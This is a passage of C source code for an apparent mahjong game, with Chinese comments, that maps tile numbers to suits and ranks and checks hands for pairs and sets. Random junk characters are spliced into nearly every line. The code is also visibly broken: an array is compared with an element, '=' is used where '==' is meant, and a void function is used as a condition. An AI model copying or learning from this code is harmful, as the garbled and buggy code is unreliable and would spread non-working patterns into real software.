else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
# y+ n7 b, s! dlogoo=2;
- ^9 w: k. i% ~else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
3 m# x. T5 Y) R/ b# ]; Dlogoo=3;
) x# k' Y- D( J2 \2 `& W0 W1 Q. zelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
  e& C2 `- k: R. H, K6 @4 [8 L( F! Glogoo=4;
6 s! G- {2 q- i' t- i2 f8 b8 x# y4 `else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
0 F/ X' C% p  v8 z$ ]logoo=5;
2 b5 U8 a8 ]0 ~% v" k& gelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
7 W8 @  r( v6 `8 tlogoo=6;, f1 H7 B6 f) e6 X' I
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
+ X& v# c# {9 ]' I# y# A. @logoo=7;7 D6 [/ ~  s7 S( x5 L  W
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
1 [0 ^% ^# ?) ~- Clogoo=8;  j8 M. Y0 T* _
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
+ H, C3 a6 I3 M2 ~) j5 Blogoo=9;
& I& x3 N& F) t+ i8 H( C: H}
5 o& Q9 ^: m4 A5 x  c2 Kelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
/ y! @- P1 t0 ^% U( Z{
: }1 P1 h7 t' M; z. x% S: P5 Elogo=3;& N! I, q% G7 ?5 M0 d, r
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
& W6 p$ D2 _3 Z  ~" w# {logoo=1;
6 G' d6 h% K# R: c3 lelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
0 R- g! H1 R6 jlogoo=2;, t% F8 o4 r8 N. I9 X+ M7 _/ J
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)7 Q% \# ]8 G4 ?5 f! ^0 B0 P
logoo=3;
* V5 S, \: i7 eelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
' i0 `* k. k! D, Q9 A1 Z, j) f+ X6 klogoo=4;
0 `5 O, o4 u7 h7 z, d9 D% \else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)& v* U8 ^2 f  T3 ?
logoo=5;% [6 w' H0 c1 m) B0 b1 x
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
, u" m0 ]) x+ b" d1 Ilogoo=6;8 H5 F. e; V) e1 e$ M6 _
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)3 G1 K# E! V$ P& X
logoo=7;" g3 H0 a0 t9 M$ A4 j4 g
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
+ j) Q; W, B2 `. Y7 R6 Blogoo=8;8 V1 a( \4 ]2 Y8 E& l6 K
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
, F5 p- {9 I. z' e& |( D/ Dlogoo=9;
5 d# m' y3 [0 Q3 G! s}9 U) K4 M) U! O( E  L& Q$ J
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
) e9 Y4 _& m$ V& F; b2 M' w3 a" Q{
- {5 M- X5 E6 @1 j- u, J0 b3 U! r: Y" llogo=4;5 O# a4 @6 ?& a8 z/ w# q
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
* P/ p( T  d" K, r9 Xlogoo=1;
! d! ]$ E* `0 Aelse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
+ e) L3 P& F9 q; x/ O+ ?logoo=2;
; R! Y3 y5 R& g; Y4 pelse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)3 e( `5 i7 R  {& k
logoo=3;  R( x' l  \3 c% A, Z
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
9 q' O+ q0 G/ Elogoo=4;! [2 g8 S1 `2 B% E+ v' E8 o# i
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124), W7 }  d! Z" G. H- U% ?
logoo=5;% @# d" g) e" G: [
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)  X! q# ]) _- o$ E$ H
logoo=6;/ z5 g  [; q" \: g4 ]
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
) S; v% j! U# z. qlogoo=7;- Y, @) ~$ \# E" H+ c
}
2 N1 K- o3 Z9 o7 Owhile(b&lt;=me.m)( t- v  A8 y  M" I; a- l
{. }: y' E. `9 k' s$ [# s
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
; n' C5 V$ S, b" ~2 A: I! I% _% @{$ ~9 T; Q" P5 V% P3 H
lg=1;
! e. ]9 Y; J4 t  ~$ |, Rme.pp.d[0]=1;7 H* {: h; J2 |' i1 F
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
5 A& w* N& W+ D6 b; r{  ?+ N8 Q/ {. b: R+ K* v
lgg=1;! f; v. B" S0 C- H/ D  l
me.pp.d[1]=1;/ m2 p4 Q7 h: z/ z3 w% l: p' y
}4 A9 }- ?8 W; r! R# V" ^4 w8 C+ Z5 }
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
4 ~9 P! }6 E3 ~% I7 {/ h; \( x' S; I" \{
- }2 r: @! e1 ~$ nlgg=2;: f5 z, Q1 x- g/ a. H  D) V
me.pp.d[1]=2;
6 E6 ]) f, [, d/ u6 q2 Z}
" r8 f4 g- K6 N" v3 n; Z. Yelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8). S- S# T, n7 Q) @
{- @6 \- m( O$ G5 x+ C$ g$ b
lgg=3;1 V4 V% H2 {! {4 y9 w
me.pp.d[1]=3;
% G1 R$ h3 j, L6 N+ [( I' `3 i}. S- S6 i: l$ u# G
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
0 y  m: ~+ h& d: U9 y{
" v6 F/ U% w; v/ N- glgg=4;4 B. m# v0 w6 }
me.pp.d[1]=4;
% o  V! j/ e$ x/ z9 M- H}
) s3 {) ^" ?4 }- J$ R6 lelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)( U: B3 Y, R- r* a2 O2 G  M) _  _& w- @
{, q3 z3 m5 d& C
lgg=5;& ~* c) g  `. d& g8 r( S* N# O
me.pp.d[1]=5;  [4 w. c3 j- Q5 J
}
% C8 X6 b6 l* i1 t- n3 Celse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
. g9 c. b+ F; e- J; v  J! Z8 }{; P( {! \# L, u' d2 k6 A& j
lgg=6;) G+ a3 p4 j& r! A0 o: E
me.pp.d[1]=6;
6 D4 W: i  \8 B3 r3 v" A}
; ~. q+ T" L, W  [1 \7 f+ relse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)) U, u5 Z  T; R1 n
{- d9 T$ L! }- C! z
lgg=7;. U$ q, ~0 u0 o4 a( e7 H9 f
me.pp.d[1]=7;3 Y5 r/ l( D' j3 L! T
}% v7 o2 N/ i, R2 i2 x
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
& f7 ~) J' v; A8 w  M{
4 n2 L3 o3 }; d1 s1 q8 n6 ulgg=8;
% J+ h) R; G; `+ Kme.pp.d[1]=8;' T- i5 G' {0 c4 l& Y
}
4 m$ o1 U8 o( Zelse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
$ {0 z' G& ?7 B{+ i* Z- A, D% v' c5 G( h
lgg=9;
" y  v: B! ], ^2 Z& T6 u  yme.pp.d[1]=9;
9 p( t/ Y0 {- _: K+ ?}* `4 d% F9 d* L- a0 L- F; V4 B  d6 J6 d
}
: A6 ~8 {8 z+ j4 O% o4 l* K' Z& helse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)  M% v0 K+ N6 e, y6 N& T" @7 J9 \
{+ p# Y2 |, V  |( U! Z8 d& N
lg=2;8 v, i- r, d; _
me.pp.d[0]=2;4 h: r) D( u4 h+ x1 x2 ~5 N
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
* n' v2 `" `, I% f+ n6 b6 y# t) D{
" ?" i# w+ j2 O* R0 nlgg=1;0 G9 @9 P! V: i6 V8 |+ v
me.pp.d[1]=1;
: I: L) t+ O* R2 V3 c' v$ F}7 x! k  y6 N& N# E; v+ Y- v3 k% ~
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)" I5 c" X) a; ^$ k& n% s6 F3 s9 y
{6 I! \# I, O  O+ H6 f* V
lgg=2;
! ?1 r( d* s" X) |me.pp.d[1]=2;
+ X2 G3 r) Z8 k- _# Q  x7 _7 `}9 ^- D% f. l; \) I7 F
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44), X8 G! |/ z# {5 |6 V9 l5 e
{7 n  M3 Q- Z# y; E2 R4 P
lgg=3;9 ^3 v8 W' [, b* v; M5 W
me.pp.d[1]=3;
9 v- a& ]8 h: K9 P1 i* ?6 F}
( S; [0 k% t$ [. G* |# [, h+ oelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48): E/ t6 M7 M' L' c# M' `
{9 j, d; M( M, _; Q, V
lgg=4;4 O. s: k+ R4 P( }
me.pp.d[1]=4;: ~$ r3 D% n% k$ q
}' D. ^# U/ O; h3 I! |2 A2 B7 i
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)* }$ d6 ?4 x# {3 s: q6 j' {5 V
{
( X; [' Y/ H4 k: w, y+ ^4 g5 Llgg=5;
, x. M! P! |+ Y# |me.pp.d[1]=5;
- W3 a7 [. a. V}
* Q# V* L. k) Y- P$ @9 Kelse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
' \# e/ c, v' W{2 G8 @9 o. y0 \" L+ p0 g$ B
lgg=6;# F7 I5 ]9 c2 K8 t3 L
me.pp.d[1]=6;8 N2 h& o* e+ b
}0 \. v0 p$ T! d6 x0 |5 r
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)+ k4 o5 {! {! |$ o! \; ]
{
+ p! G% f2 v) F3 {* ], `lgg=7;
9 i# w" ]1 L5 o! F" g% _me.pp.d[1]=7;% X% K# P3 G0 x; C$ @+ k
}
) v0 k) V1 L; v3 delse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
+ U+ L2 V! G) c! B  L{
9 }+ `$ v$ L1 M( ^& u6 G# wlgg=8;
+ H7 _2 k$ C6 ]4 t) ^9 pme.pp.d[1]=8;& h# c( W3 A0 Z! V  i& i, s  P
}: P+ ~/ R! G; P; H2 O# \
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
, U  G/ R0 ]+ C% b3 J# z{+ S% v- a0 g  `2 X  A
lgg=9;7 d+ D; v2 i/ r7 K$ n- T6 f
me.pp.d[1]=9;2 k. K: H/ W! D! [5 E' w9 s' d! K
}
/ ~6 f. p3 I2 F% t; [0 @, m}
; Z& Z' m/ L7 ?+ x6 x  P( celse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
) z0 p- o6 l' q7 Y. N. B; p) |- Y{$ y7 d3 I: p: o, |* P# E5 D
lg=3;. i- |. m* A* _9 W1 k0 r4 I
me.pp.d[0]=3;
+ A6 o9 h8 l/ G9 \2 }if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
1 {1 n$ q5 o0 e* [{! N2 r+ D7 z6 H
lgg=1;
3 K9 W4 J  {% B! G$ ]6 h5 jme.pp.d[1]=1;8 _8 E. Q5 D8 v0 H& `4 H% G
}
1 @, j6 f' f# oelse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)4 Z6 L8 v4 l7 ]2 i, M' G$ H7 v  A
{
5 ~5 n8 c( d$ G3 |lgg=2;
* u6 T3 j2 y6 Xme.pp.d[1]=2;
/ J( T7 l1 R2 U& s# e0 ?}
  o8 X: t  i8 E9 v) Relse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)5 b' W' x3 R; u2 A- g4 w& e) G
{7 A) h. ]- r3 F
lgg=3;8 r; u* x( a8 n; p- \( H
me.pp.d[1]=3;
5 i  p1 K/ _" G" p+ J) g}) k2 j5 F* M! _
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
  U: V/ z: w, m5 s' Y2 n+ \{4 F: T  l4 S. ]( r2 b0 V1 g% b
lgg=4;* q9 v- V' X0 z) p1 F: o
me.pp.d[1]=4;
* \* @3 [+ y# e) V3 x6 S! R6 B1 f}+ M' _5 m5 y: T( W+ ^) Z& Z
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)! Y9 X- G# i) {- c* T
{/ r2 G# L0 d8 c3 x' d: e& v4 Z
lgg=5;
8 Z' J. h7 ?% \me.pp.d[1]=5;
5 C4 M4 p( I1 f8 a2 L' L}
; `" R' @7 z) J& \, j( x4 Xelse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
. K8 j! N( N. o' S{
0 _0 J6 f# W% Q' P: _lgg=6;. |" ]/ _3 K7 D  D6 c1 z
me.pp.d[1]=6;
+ l  l: W8 R6 V% N( Q! z; A}% a1 h' t" y/ ~+ j* C  H; G
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
7 `" a* ^5 `' V/ J6 D{
. v( T( x# P" H$ M; Clgg=7;
8 \) Q, h; x# J9 S" S2 R, S% ^me.pp.d[1]=7;
- ?* I: S9 r1 T5 b4 `}
/ c! v; T7 ~' ?; f5 V! ^else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
8 z: ]' y! h% y( u6 m{
" g8 v, h1 f' [* ~6 ]lgg=8;3 O$ N5 l5 l6 P$ [' ^7 I
me.pp.d[1]=8;) U3 y) z9 V' e7 U4 i, R! _9 f
}
7 D6 Q* ?. \: O+ W; V( g1 }3 @else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)8 D* i. P) p1 _5 f# \) e" C
{3 o  C2 j5 C& Y. ^
lgg=9;
4 x. I. D6 [: |' h/ m9 Yme.pp.d[1]=9;( M% A# W0 L! e; T# A2 C: O
}
$ @6 L. U- o" O3 s# w}) H+ O$ Y4 A, g8 [0 h
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108); G  v- S/ F: \4 |7 {
{( p- g# T; t* T8 y. @" G2 V
lg=4;
* Y) R7 q( T$ T3 t# Hme.pp.d[0]=4;) i* z& x5 |9 S0 Z
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108); h2 s: C' Z2 Y! G
{
2 J- |# L: U4 C0 ~# Blgg=1;$ c- q8 X- e( G" n& f( v, L- a
me.pp.d[1]=1;
" k+ U, [$ H$ H# X4 w}+ x3 W- E( N4 y' [' k
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)3 N2 Z1 U+ S4 L
{% x. O% k# y, S( @: C
lgg=2;/ W) O3 p* S/ N3 `1 w
me.pp.d[1]=2;
& i3 @6 T7 W6 I}/ x( V! {5 z. D0 a* _
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
  c% x3 H) t. J3 i{# P" L& u' x  X) h! ]
lgg=3;5 a( F* D: O- ]1 |/ e
me.pp.d[1]=3;$ z' s7 m. {! M
}6 a1 t/ J- i5 M( n5 c( P5 E( V
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)& e! t3 S" k$ v* a0 g/ c$ f
{. \; i/ \% H6 |9 B% \5 q1 v2 l
lgg=4;1 ^: t, y% ~* ^  u4 a
me.pp.d[1]=4;
" j$ b  K$ Z8 e2 v}0 }1 C# S, L6 C+ {
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
5 d9 q- L/ Q0 }3 L/ G3 @9 g! F! m{' t/ F, s5 S! I1 ~4 v; r9 R7 [
lgg=5;" N8 D/ M, n. J6 A
me.pp.d[1]=5;, f6 ~" C/ I) i" F! @
}' l6 g! w2 O9 V+ j
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
- n7 o; u* b8 U2 J8 X{
7 `5 g" a9 T4 |" C" Q3 a* V: ?4 {/ Vlgg=6;
2 Z# n5 Z% q6 ~% L7 ^me.pp.d[1]=6;; u' N5 C) C9 n& |4 J& S
}$ P' I2 ?" X% M( @" ~' U
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132): U6 G  y6 M; w* a8 f1 R
{
& ]+ h9 j4 r9 X/ j' Dlgg=7;: W: |# X3 D) D, L. [
me.pp.d[1]=7;4 H0 O) a: @, _
}
" E9 j  C) d2 z0 N' p' [$ n}4 H% u2 ?/ V) d3 e% I% A
}* e' A- a  \8 b: p7 j
}
% k* p9 Y7 ?+ C: k. T/ \5 xvoid istwo(testt)
  |: R" ^/ E. u" E$ S+ O+ oint testt[];* D$ Z( i/ {8 h) I0 s' `3 q
{ if(testt[0]==testt[1])
. C1 x! t$ n# ~8 A+ N0 }second++;! x. t" a1 y6 b" p* T
}
5 u; O/ o+ C% `- y, F/ Avoid isthree(testt,n)+ T* D. g! c. Y
int testt[],n=0;) e- _" ^( b+ v* Q% c
{ int i,j,flage=0,lianx=0,same=0;
9 e3 b2 ]- c! H% y) ^6 B) Ln=n/3;% P7 L* I1 {* O1 h2 h! \8 X% m
for(j=0;j&lt;n;j++)1 U, r# v( T; Z  Z4 D* L) B: c1 b
{
& G( ?% ~& T# a! Tfor(i=j*3;i&lt;2+j*3;i++)) i7 k+ Q5 q" `4 j7 s+ _: |9 Y
{
8 t: p4 l! e  Q7 p/ ~6 C! x: Yif(testt==testt[i+1])
% F0 ~7 H+ }$ n. r: R; r$ d4 q0 t# isame++;: |& I7 V; D' h; _
if(testt[i+1]-testt==1)# U  v+ U. r5 D8 b1 M# }
lianx++;
" _8 I% l% U, |- f}
/ T1 o1 T$ _2 d/ f: Y: Dif(same==2)& Y0 \/ Z8 O+ j: [% L  M
threes++;
$ M! S9 O1 @: d# I$ Z5 Zif(lianx==2)
8 c0 f6 ^. G* I- s; m, k3 Lthrees++;& \& I. V7 ?5 K# ^
same=0;
% E3 F0 T# q! l4 qlianx=0;& [# a0 _# N3 J( T
}; L5 z' `8 l1 ~
}' e* h4 [; L: A- S+ f0 Y  o) F3 {0 `
void panduan() /*本程序的精髓*/
: e( N! F3 a3 K3 y2 F# w6 L6 {* `{int data[14];
# l7 z8 j8 d; p1 D' yint pw[14];
( x0 V  c5 T* @int pt[14];
9 P( m4 _: H( b1 nint pi[14];
3 k+ y5 t) G) e2 pint pf[14];
, A  X7 ]: P( F( r2 b  `int test[12];
% c9 B  w  O5 y4 dint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;. [0 ?8 a& h3 F! Y2 r
for(jj=0;jj&lt;=me.m;jj++), S3 _& I. f( A5 H! h% V* `9 ^
{
3 Z) w( x  n; C# B0 v0 R8 \if(me.pp[jj].d[0]==1)
& O( h- T! l% |/ P( rdata[jj]=me.pp[jj].d[1];
; w1 c1 Y8 q) q  T; Dif(me.pp[jj].d[0]==2)8 g4 R) R" g" L7 y9 T6 ~4 K
data[jj]=me.pp[jj].d[1]+10;
) c, F  b: \4 D; mif(me.pp[jj].d[0]==3)/ r& i8 P& U& I: z( p
data[jj]=me.pp[jj].d[1]+20;
) g$ x# b7 v6 i' s2 r5 Lif(me.pp[jj].d[0]==4)
( A$ h2 h, L( u' q* d, Gdata[jj]=me.pp[jj].d[1]+30;9 P1 H, I7 v" `4 e3 B
}  p9 J& q5 s* u
if(logo==2)
/ _! r) Z3 D" m! H. Zw=logoo+10;- e' {/ y8 R5 F" v' H3 Z( E
if(logo==3)
7 ^- u. R' j1 |; J4 h8 m; Sw=logoo+20;
/ Z! ]0 R4 b+ s+ A' K/ _if(logo==4)
) w8 w1 t3 i& K. A' U" v+ |w=logoo+30;
# b8 ~7 g: q" odata[computer.m+1]=w;
; m8 q" S7 W/ D) I1 Q$ ifor(mm=0;mm&lt;=computer.m;mm++)
* l/ r% w$ e' a0 U: R" d) wfor(nn=mm;nn&lt;=computer.m;nn++), O# L! H: M8 [2 X7 b
if(data[mm]&gt;data[nn+1]). m  q6 Q+ G/ f/ W# i
{' Z& X9 o8 N: D' r* Y+ F$ F
tpp=data[mm];5 X/ w! b7 H  y& B) g
data[mm]=data[nn+1];
+ g& g- Y! s! ]8 ^0 |/ Y1 I# J7 g. X: ~data[nn+1]=tpp;+ x6 e8 a/ m* ~- t3 T9 p* @
}
  I5 g" p5 H8 Olp=0;: Z7 b, {9 j9 S9 e# K  s
while(lp&lt;=computer.m)- u& h5 U/ ^( U# i' Z8 \6 U# b
{ if(data[lp]&lt;10)
- ]- {4 {/ i4 _- Tpw[ww++]=data[lp];/ @+ |. v/ l# O0 k! N
if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
  F  F% M* j0 e" V4 `7 C0 n* y. Apt[tt++]=data[lp];$ `3 f# v8 m9 n- E! c: L
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)4 H# C& x. j- Z3 d
pi[ii++]=data[lp];- B6 a' p( J7 S/ \& O
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)4 t  \6 y# t( {, r! V" V; r- J' i
pf[ff++]=data[lp];8 k$ J  P" S% z" k0 r
lp++;" M5 \5 V% F/ J4 h
}' h; ]" D0 A2 V
if(ww==2)
: Y5 _1 W2 j! \istwo(pw);
/ R1 V5 f9 }; zelse if(ww==3)
& }2 q7 X" ^4 P5 D) z& Wisthree(pw,ww);
) @5 U8 H4 q. }$ y# \( Y* I8 helse if(ww==5)
$ y' f2 {- n0 x8 S) [6 J. B/*pw[5]原始牌数组,假设已经升序排列*/' o$ ]* {6 _; M/ l$ p
/*test[3]用来放置测试牌的数组*/% G2 M' |" H4 G1 A1 K- `9 c
for(i=0;i&lt;4;i++)
1 h! \1 e. v; Y- ~3 Y{
% G% E3 Y4 v5 afor(j=0;j&lt;2;j++)
# u: q& w5 I, [' ]) v{test[j]=pw[i+j];
5 E) x# q- F8 ~; Y* N9 z}
: R: ]  G/ I; M) L7 s( }if(istwo(test))
% x; ]# L( K: K: e4 ?3 Y0 G; w{ ill=0;
) }$ w7 n3 m& u$ dfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/; C: h( ~- e9 D- C8 z# |4 [* k
{if(kl==i)
5 K2 h8 }1 g7 M, F' O, O& t+ {{
; n2 o4 [! A$ S1 y& ukl=kl+2;
/ v$ `; ^/ K7 J" W( G8 O# Oif(kl==5)2 j& l: A* V# C/ H: |: d- b7 K& \& v
break;0 C' T& |, z, B- J9 {
}# D* C# U9 h: m$ X
test[ill++]=pw[kl];
8 P& z: z% j* n6 O. N}
+ _! {( |. n7 M" N+ A7 ?5 gisthree(test);  t7 m: t( o5 q9 s. F8 ~1 ^
}
8 c/ D! H, ~- ], G}0 Y4 W/ D& g+ V) Y! o
else if(ww==6)
) Z* d1 e7 Y/ I. l0 ?$ D! K' f* ]isthree(pw,ww);
1 K- `* O  x* p- |else if(ww==8)
% q( R6 s" d) Pfor(i=0;i&lt;7;i++)# H  B- L; J7 D8 A5 o9 z1 H
{& A5 G* T+ J- q' e$ N+ i9 d) d: r  w
for(j=0;j&lt;2;j++)
0 H2 ]( m* X4 i7 Q0 l4 ^{test[j]=pw[i+j]; 9 v. T5 c( I& V! ~; n6 g
}
. {* i5 Q/ D5 c0 J- }if(istwo(test))/ D/ b6 |  P# s' h* j2 ~, ]5 J$ k
{ ill=0;/ J7 W$ [+ q$ t# N, F9 N
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/. ^/ h) V4 F- Z( k; [  B4 d  d
{if(kl==i)- }: n' H/ n/ E
{8 E3 k9 b; t1 Z  M+ A
kl=kl+2;
# n( }1 i) E: Q9 _( a5 k+ [) w% eif(kl==8)5 E7 {* Y4 O6 {/ s! K
break;
' h+ P) x& ~1 J# c2 t, H* j+ l}' E5 Q/ X5 o  w2 z
test[ill++]=pw[kl];
, L0 ?/ N8 b3 L+ o' W, V}1 j+ @/ B: H7 ~" e# H; D
isthree(test,ww-2);
) |8 m- N% N/ Q, {3 D# e0 r}
3 A8 w6 S" e# D7 L0 J}
' E1 `3 A( s& Q& J7 Helse if(ww==9)% r  a" _& ^% v* _
isthree(pw,ww);
  A. O/ q' X' q! ~* r1 i" oelse if(ww==11)  ^( z5 a; M, H% q
for(i=0;i&lt;10;i++)
/ i: s  n* m7 H9 P{
1 e& H/ p0 ?% M) v+ ifor(j=0;j&lt;2;j++)
' ?( G7 M" l4 e* x; `{test[j]=pw[i+j];
4 ?& ~; e, n. d  V3 J' y}
! b6 q# q: E, I2 N% Y  k3 j+ hif(istwo(test))* Z: E- O1 x4 d3 s; z# r
{ ill=0;
! W/ q! k. G) b0 Vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# ], {: W8 w  c! ?+ n* k{if(kl==i): O# H4 ^) L# L, w; _2 n
{/ h% T% g! Z5 K  _- B9 V
kl=kl+2;
; @7 u+ j) M8 T( F/ n5 bif(kl==11)9 L6 b! n9 x7 h6 X: o
break;4 U2 m6 _$ U. T3 h( z: a
}
. ^) w6 ~, m. W$ a% U) H4 h! F) S7 ytest[ill++]=pw[kl];8 o+ S, x$ L2 `2 C) t: ~  z
}
9 Z. V6 l/ J) j$ A9 I0 T8 d+ risthree(test,ww-2); . [3 D3 A: g1 b1 z
}
* c; x, Q( M6 o}
' ]  W! V  l4 d$ uelse if(ww=12)/ g3 T$ k5 [0 o+ @% x6 J& O
isthree(pw,ww);
) s3 Y# d3 p+ I% {) \6 belse if(ww=14)* z9 G- d6 {$ I9 F! V) ?
for(i=0;i&lt;13;i++)2 u7 S* H7 m& z0 o
{3 H' T( P$ q; W+ W% A+ m# ]" ~
for(j=0;j&lt;2;j++)
8 X8 s5 l2 \7 o- K9 R* w{test[j]=pw[i+j];
2 i& B7 }* f/ i' N: E}, K3 `, ^7 E9 Q, P; \* }' }5 D1 N0 P
if(istwo(test))
, R0 P  J9 d- p0 J) d{ ill=0;
( y) Z( \" O" U" @5 @' cfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/" F: B6 E& q) w  j5 m- b6 ^  _; _
{if(kl==i)
' w: Q& m5 e0 g" E0 d. d# l6 j{8 w7 z( ]$ G& l4 u, C
kl=kl+2;
% u" ^5 R# h/ X  Oif(kl==14)% v) k4 D: e" W$ N* q* u7 d
break;  l5 [) r" H/ ]$ x+ ~# `3 r' r
}% i0 i2 X8 U6 I8 [0 s
test[ill++]=pw[kl];7 ~+ v8 R. U2 |2 c, ~/ Z
}2 P: }' T6 o1 @1 u( D
isthree(test,ww-2);
* X5 s: g) \! f9 p# T& @- G7 E}& c! V- K' }' L6 }( a( `. @
}
" N/ h  }) F0 _& Xif(tt==2)
, v5 a  Z* Q9 ?' Xistwo(pt);
% j" u# x! i' K4 D) _# b& }else if(tt==3)
2 w+ O1 p- t5 k+ Pisthree(pt,tt);
8 M* R1 A5 A1 B' c/ z: d* Celse if(tt==5)
/ H5 w6 U% a$ c. h; Q" v) ^/*pt[5]原始牌数组,假设已经升序排列*/
) h6 G: N  S* K2 i8 M/*test[3]用来放置测试牌的数组*/( m6 d0 u' z' v4 s' F) {! |
for(i=0;i&lt;4;i++)  G+ q. P5 W4 m; `  Q# Z/ b& t7 Q
{
+ j  f% r: O% F8 b9 Kfor(j=0;j&lt;2;j++)8 g9 o1 I& J* W0 f
{test[j]=pt[i+j];
- W+ }2 D/ \( ?9 Q& h) x6 q}
" H9 ~6 W* |5 z" Y9 N' Jif(istwo(test))
9 R4 ?- J. a3 p8 B' p7 {" }/ n- r" ~. h{ ill=0;: l# Y+ j5 C6 i( e$ g
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
+ \9 y6 E! G+ u. N{if(kl==i)
& g! C7 v  ]8 P{
0 N* p% e0 u+ c+ p, m8 p+ Xkl=kl+2;
) V; Q6 Y3 u. w4 B& E5 yif(kl==5)5 m1 R5 C3 `8 Y$ ^! ^4 O9 S4 U! d
break;1 |6 m$ l. d: O8 Q3 o+ }" ~
}
! [* m+ M3 f; f9 ^test[ill++]=pt[kl];
! l1 X0 `$ j6 F7 ^}" v% w- [* d( ?+ e0 z4 ~
isthree(test);
) `% Q: M# J4 Z8 H% N- j+ a5 g}6 v" D% l2 d; p/ }# F
}
8 X' H+ k* U. l; J7 N" G& W2 r: \else if(tt==6)
! ~0 t: o5 P! C! W  [$ nisthree(pt,tt); 0 p7 M8 U2 J" U/ `
else if(tt==8)
; x9 q' t# l3 ^& Q  q: z, ?8 Kfor(i=0;i&lt;7;i++)- |$ d3 ?# C. j7 m1 J
{+ L& _# P0 q. ]3 V" ^3 v. R' N
for(j=0;j&lt;2;j++)
; m! i- N% l! U  q4 a5 w: N; ]+ ~{test[j]=pt[i+j];
# O8 v/ c- J# q& s# j}
